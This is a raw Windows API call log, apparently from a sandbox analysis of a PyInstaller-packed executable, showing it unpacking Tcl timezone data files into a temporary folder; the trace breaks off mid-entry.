GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.077] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.077] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.077] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.077] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.077] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.077] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.077] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.077] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.077] CloseHandle (hObject=0x10c) returned 1 [0038.077] GetLastError () returned 0x0 [0038.078] SetLastError (dwErrCode=0x0) [0038.078] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bissau") returned 70 [0038.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bissau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\bissau"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.078] GetLastError () returned 0x2 [0038.078] SetLastError (dwErrCode=0x2) [0038.078] GetLastError () returned 0x2 [0038.078] SetLastError (dwErrCode=0x2) [0038.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bissau", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bissau", lpFilePart=0x0) returned 0x45 [0038.078] GetLastError () returned 0x2 [0038.078] SetLastError (dwErrCode=0x2) [0038.078] GetLastError () returned 0x2 [0038.078] SetLastError (dwErrCode=0x2) [0038.078] GetLastError () returned 0x2 [0038.078] SetLastError (dwErrCode=0x2) [0038.078] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bissau") returned 70 [0038.078] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bissau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\bissau"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.078] GetFileType (hFile=0x10c) returned 0x1 [0038.078] htonl (hostlong=0xa9000000) returned 0xa9 [0038.078] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.078] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa9, lpOverlapped=0x0) returned 1 [0038.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.080] CloseHandle (hObject=0x10c) returned 1 [0038.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.080] htonl (hostlong=0x30000000) returned 0x30 [0038.080] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.080] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.080] GetFileType (hFile=0x10c) returned 0x1 [0038.080] htonl (hostlong=0xc73a5800) returned 0x583ac7 [0038.080] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ceac7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.081] htonl (hostlong=0x89000000) returned 0x89 [0038.081] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0038.081] htonl (hostlong=0x89000000) returned 0x89 [0038.081] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.081] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.081] htonl (hostlong=0x91000000) returned 0x91 [0038.081] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x550600 [0038.081] htonl (hostlong=0x89000000) returned 0x89 [0038.081] htonl (hostlong=0x91000000) returned 0x91 [0038.081] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.081] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.081] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.081] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.081] CloseHandle (hObject=0x10c) returned 1 [0038.081] GetLastError () returned 0x0 [0038.081] SetLastError (dwErrCode=0x0) [0038.081] GetLastError () returned 0x0 [0038.081] SetLastError (dwErrCode=0x0) [0038.081] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.081] GetFileType (hFile=0x10c) returned 0x1 [0038.081] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.081] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.081] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.081] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.081] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.081] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.082] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.082] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.082] CloseHandle (hObject=0x10c) returned 1 [0038.082] GetLastError () returned 0x0 [0038.082] SetLastError (dwErrCode=0x0) [0038.082] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.082] GetFileType (hFile=0x10c) returned 0x1 [0038.082] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.082] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.082] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.082] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.082] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.082] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.082] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.082] CloseHandle (hObject=0x10c) returned 1 [0038.082] GetLastError () returned 0x0 [0038.082] SetLastError (dwErrCode=0x0) [0038.082] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.083] GetFileType (hFile=0x10c) returned 0x1 [0038.083] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.083] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.083] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.083] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.083] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.083] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.083] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.083] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.083] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.083] CloseHandle (hObject=0x10c) returned 1 [0038.083] GetLastError () returned 0x0 [0038.083] SetLastError (dwErrCode=0x0) [0038.083] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Blantyre") returned 72 [0038.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Blantyre" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\blantyre"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.083] GetLastError () returned 0x2 [0038.083] SetLastError (dwErrCode=0x2) [0038.083] GetLastError () returned 0x2 [0038.083] SetLastError (dwErrCode=0x2) [0038.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Blantyre", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Blantyre", lpFilePart=0x0) returned 0x47 [0038.083] GetLastError () returned 0x2 [0038.083] SetLastError (dwErrCode=0x2) [0038.083] GetLastError () returned 0x2 [0038.083] SetLastError (dwErrCode=0x2) [0038.083] GetLastError () returned 0x2 [0038.083] SetLastError (dwErrCode=0x2) [0038.083] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Blantyre") returned 72 [0038.084] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.084] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Blantyre" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\blantyre"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.084] GetFileType (hFile=0x10c) returned 0x1 [0038.084] htonl (hostlong=0x91000000) returned 0x91 [0038.084] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.084] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x91, lpOverlapped=0x0) returned 1 [0038.085] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.085] CloseHandle (hObject=0x10c) returned 1 [0038.086] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.086] htonl (hostlong=0x30000000) returned 0x30 [0038.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.086] GetFileType (hFile=0x10c) returned 0x1 [0038.086] htonl (hostlong=0x503b5800) returned 0x583b50 [0038.086] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ceb50, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.086] htonl (hostlong=0x8c000000) returned 0x8c [0038.086] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0038.086] htonl (hostlong=0x8c000000) returned 0x8c [0038.086] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.086] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.087] htonl (hostlong=0x94000000) returned 0x94 [0038.087] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x550600 [0038.087] htonl (hostlong=0x8c000000) returned 0x8c [0038.087] htonl (hostlong=0x94000000) returned 0x94 [0038.087] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.087] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.087] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.087] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.087] CloseHandle (hObject=0x10c) returned 1 [0038.087] GetLastError () returned 0x0 [0038.087] SetLastError (dwErrCode=0x0) [0038.087] GetLastError () returned 0x0 [0038.087] SetLastError (dwErrCode=0x0) [0038.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.087] GetFileType (hFile=0x10c) returned 0x1 [0038.087] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.087] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.087] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.087] CloseHandle (hObject=0x10c) returned 1 [0038.088] GetLastError () returned 0x0 [0038.088] SetLastError (dwErrCode=0x0) [0038.088] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.088] GetFileType (hFile=0x10c) returned 0x1 [0038.088] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.088] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.088] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.088] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.088] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.088] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.088] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.088] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.088] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.088] CloseHandle (hObject=0x10c) returned 1 [0038.088] GetLastError () returned 0x0 [0038.088] SetLastError (dwErrCode=0x0) [0038.088] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.088] GetFileType (hFile=0x10c) returned 0x1 [0038.088] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.088] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.088] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.089] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.089] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.089] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: 